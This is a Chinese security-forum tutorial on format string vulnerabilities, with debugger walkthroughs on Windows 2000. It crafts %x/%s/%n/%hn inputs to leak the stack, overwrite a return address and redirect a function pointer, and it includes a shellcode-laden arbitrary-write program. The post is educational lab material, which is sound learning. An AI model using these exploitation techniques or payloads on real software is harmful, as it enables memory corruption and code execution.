首页
社区
课程
招聘
[原创]格式化字符串漏洞入门
2017-4-14 22:01 11460

[原创]格式化字符串漏洞入门

2017-4-14 22:01
11460

寒假在家的时候总结了一下格式化字符串漏洞,主要是在http://blogs.microsoft.co.il/applisec/2006/12/04/buffer-overflow-overrun-examples/上看到了利用格式化字符串漏洞改变程序执行流程的一个非常棒的例子,加上读了《C和C++安全编码》,所以就写一篇这个玩意的入门知识。

试验工具:ollydbg、VC++6.0
实验环境:windows2000虚拟机
1.%x查看栈内容


执行printf时第四个%x没有提供对应的参数,因此会显示本应该是参数所在位置的栈内容。通过更多的%x甚至可以重建大部分的栈内存。

2.%s查看指定地址内容


执行printf。


1,2,3是提供3个参数。利用%x步进,将%s的参数对应到77E61044,因此可以输出77E61044开始的字符串直到遇到截断符。0x0012FF58为format字符串起始地址,前四个字节即我们想要查看的内存地址77E61044。
3.缓冲区溢出

作为向字符数组中写入数据的格式化输出函数,sprintf会假定存在任意长度的缓冲区。此处将字符数组user作为由用户构造的输入,其中出现了非常规字符%497d,是此次实验成功的关键。\x39\x4a\x42\x00是shellcode的起始地址,用来覆盖返回地址。\x90…\x33…\xD0…\x90为此次的弹框的shellcode。

第一次调用sprintf(buffer,"ERR Wrong command:%.400s",user);时写入数据的目的地址为0x0012FB2C,格式化字符串为"ERR Wrong command:%.400s",%.400s对应的参数为起始地址为0x00424A30的字符串,即用户输入的字符数组user。对地址0x00424A30数据窗口跟随后可以看见该字符数组的内容。

对地址0x0012FB2C查看ASCII数据,可见此时buffer中的字符串为"ERR Wrong command:%497d\x39\x4a\x42\x00",其后的数据由于0x00而被截断。


执行sprintf(outbuf, buffer);时buffer中格式化字符串为"ERR Wrong command:%497d\x39\x4a\x42\x00",根据格式化字符串,sprintf会读取一个参数以%497d的格式写入outbuf,由于未提供该参数,会自动将栈地址0x0012FAE0中的值视为该参数,即0x12FF80(十进制1245056)。需要写入outbuf的总字符串长度为19+497=516,而outbuf长度为512,因此会导致栈溢出,使得函数返回执行sprintf后outbuf中的内容。


outbuf起始地址为0x0012FD2C,19字节的字符串"ERR Wrong command:"后为497字节的整型数字1245056,因此从0x0012FF30开始为\x39\x4a\x42\x00。下图可见成功将返回地址覆写为shellcode起始地址0x00424A39。


继续执行,弹出对话框。


4.改变程序流程
通过格式化字符串漏洞精心构造输入使得下面的程序执行foo函数。你可以在buffer-overflow-overrun-examples上面找到这段代码。

#include <stdio.h>  
  
#include <stdlib.h>  
  
#include <errno.h>  
  
   
  
typedef void (*ErrFunc)(unsigned long);  
  
   
  
void GhastlyError(unsigned long err)  
  
{  
  
      printf("Unrecoverable error! – err = %d\n", err);  
  
   
  
      //This is, in general, a bad practice.  
  
      //Exits buried deep in the X Window libraries once cost  
  
      //me over a week of debugging effort.  
  
      //All application exits should occur in main, ideally in one place.  
  
      exit(-1);  
  
}  
  
   
  
void RecoverableError(unsigned long err)  
  
{  
  
      printf("Something went wrong, but you can fix it – err = %d\n", err);  
  
}  
  
   
  
void PrintMessage(char* file, unsigned long err)  
  
{  
  
      ErrFunc fErrFunc;  
  
      char buf[512];  
  
   
  
      if(err == 5)  
  
      {  
  
            //access denied  
  
            fErrFunc = GhastlyError;  
  
      }  
  
      else  
  
      {  
  
            fErrFunc = RecoverableError;  
  
      }  
  
   
  
      _snprintf(buf, sizeof(buf)-1, "Cannot find %s", file);  
  
   
  
      //just to show you what is in the buffer  
  
      printf("%s", buf);  
  
      //just in case your compiler changes things on you  
  
      printf("\nAddress of fErrFunc is %p\n", &fErrFunc);  
  
      printf("\nAddress of GhastlyError is %p\n", &GhastlyError);  
  
      printf("\nAddress of RecoverableError is %p\n\n\n", &RecoverableError);  
  
   
  
   
  
   
  
      //Here's where the damage is done!  
  
      //Don't do this in your code.  
  
      fprintf(stdout, buf);  
  
   
  
      printf("\nCalling ErrFunc %p\n", fErrFunc);  
  
      fErrFunc(err);  
  
   
  
}  
  
   
  
void foo(void)  
  
{  
  
      printf("Augh! We've been hacked!\n");  
  
}  
  
   
  
int main(int argc, char* argv[])  
  
{  
  
      FILE* pFile;  
  
   
  
      //a little cheating to make the example easy  
  
      printf("Address of foo is %p\n", foo);  
  
   
  
      //this will only open existing files  
  
      pFile = fopen(argv[1], "r");  
  
   
  
      if(pFile == NULL)  
  
      {  
  
            PrintMessage(argv[1], errno);  
  
      }  
  
      else  
  
      {  
  
            printf("Opened %s\n", argv[1]);  
  
            fclose(pFile);  
  
      }  
  
       
  
      return 0;  
  
} 

首先分析一下程序的源代码,看它是干什么的。main函数中根据命令行提供的参数打开对应的文件。如果这个文件不存在,那么就调用PrintMessage函数打印相应的错误信息。在PrintMessage函数中把错误分为GhastlyError和RecoverableError两类。要想调用foo函数,可以通过%n把fErrFunc函数的地址修改为foo函数的地址。命令行参数为:%x%x…%x%x%n+fErrFunc函数指针的地址。snprintf之后buf为Can'tFind%x%x…%x%x%n+fErrFunc函数指针的地址,接下来由于fprintf(stdout, buf)中缺少了argument参数,所以已打出的字符总数通过%n被写入fErrFunc函数指针的地址。通过控制%x调整已打出的字符总数就能达到我们的目的。在ollydbg中,点击调试->参数,向程序传递命令行参数。首先尝试一串%x。
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x

fErrFunc的地址是0x0012FF18,2578是%x的ASCII码。现在我们在后面加上%pABC试试。
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC


我们需要把\x18\xff\x12放置在一个可写位置,在前面加上"."来调整%x输出的内容。
.......%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC

现在把%p改成%hn,因为多了一个"h",所以前面少一个"."。在后面我们还要放上\x18\xff\x12。


0x0012FF18处的值已经被改成0040017E。

foo的地址是0x00401014,现在我们写入的值是0x0040017E,还差3734个字节。


这里是3744不是3734,因为原来第一个%x打印了6个字节,为了对齐删掉了4个"."又少打印了4个字节,所以要把总共少打印的这10个字节加回去。从上图可以看出第一个%x对应的内容是0012FF80,只打印了12FF80;第二个%x对应的内容是00000000,只打印了0;从第三个%x开始正常打印8个字节。


成功。

5.任意内存写
下面这段代码是我对《C和C++安全编码第2版》第6章格式化输出中任意内存写的代码进行略微改动得到的。书上还有一个linux版本的代码,这里就不再做详细解释了。可以用来写并且不是00开头的地址不太好找,而00开头的地址因为字符串截断又会造成许多问题,所以实验并不一定能成功。

#include<stdio.h>  
#include<stdlib.h>  
#include<string.h>  
  
static char buffer1[256];  
static char buffer2[256];  
static char buffer3[256];  
static char buffer4[256];  
static unsigned int write_byte;  
static unsigned int already_written,width_field;  
  
int main()  
{  
    char format[1024]={0};  
    _asm int 3  
  
    unsigned char exploit[64]=  
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
    "\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53"  
    "\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90";  
      
    int size_buffer1;  
    int size_buffer2;  
    int size_buffer3;  
    int size_buffer4;  
  
    memcpy(format,"\xaa\xaa\xaa\xaa",4);  
    memcpy(format+4,"\x2b\x61\e8\x77",4);  
    memcpy(format+8,"\xaa\xaa\xaa\xaa",4);  
    memcpy(format+12,"\x2c\x61\xe8\x77",4);  
    memcpy(format+16,"\xaa\xaa\xaa\xaa",4);  
    memcpy(format+20,"\x2d\x61\xe8\x77",4);  
    memcpy(format+24,"\xaa\xaa\xaa\xaa",4);  
    memcpy(format+28,"\x2e\x61\xe8\x77",4);  
  
    memcpy(format+32,"%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x",80);  
      
    already_written=112;  
      
    write_byte=0x50;  
    already_written%=0x100;  
    width_field=(write_byte-already_written)%0x100;  
    if(width_field<10)  
        width_field+=0x100;  
    sprintf(buffer1,"%%%du%%n",width_field);  
    size_buffer1=strlen(buffer1);  
    memcpy(format+112,buffer1,size_buffer1);  
      
    write_byte=0x20;  
    already_written+=width_field;  
    already_written%=0x100;  
    width_field=(write_byte-already_written)%0x100;  
    if(width_field<10)  
        width_field+=0x100;  
    sprintf(buffer2,"%%%du%%n",width_field);  
    size_buffer2=strlen(buffer2);  
    memcpy(format+112+size_buffer1,buffer2,size_buffer2);  
      
    write_byte=0x42;  
    already_written+=width_field;  
    already_written%=0x100;  
    width_field=(write_byte-already_written)%0x100;  
    if(width_field<10)  
        width_field+=0x100;  
    sprintf(buffer3,"%%%du%%n",width_field);  
    size_buffer3=strlen(buffer3);  
    memcpy(format+112+size_buffer1+size_buffer2,buffer3,size_buffer3);  
      
    write_byte=0x00;  
    already_written+=width_field;  
    already_written%=0x100;  
    width_field=(write_byte-already_written)%0x100;  
    if(width_field<10)  
        width_field+=0x100;  
    sprintf(buffer4,"%%%du%%n",width_field);  
    size_buffer4=strlen(buffer4);  
    memcpy(format+112+size_buffer1+size_buffer2+size_buffer3,buffer4,size_buffer4);  
      
    printf(format,1);  
    return 0;  
}

阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

最后于 2019-2-27 10:27 被houjingyi编辑 ,原因: 重新上传图片
收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 688
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
maomaolk 2018-6-13 18:33
2
0
Mark
雪    币: 461
活跃值: (151)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
RNGorgeous 2018-7-31 15:02
3
0
感谢大佬,学习了。
游客
登录 | 注册 方可回帖
返回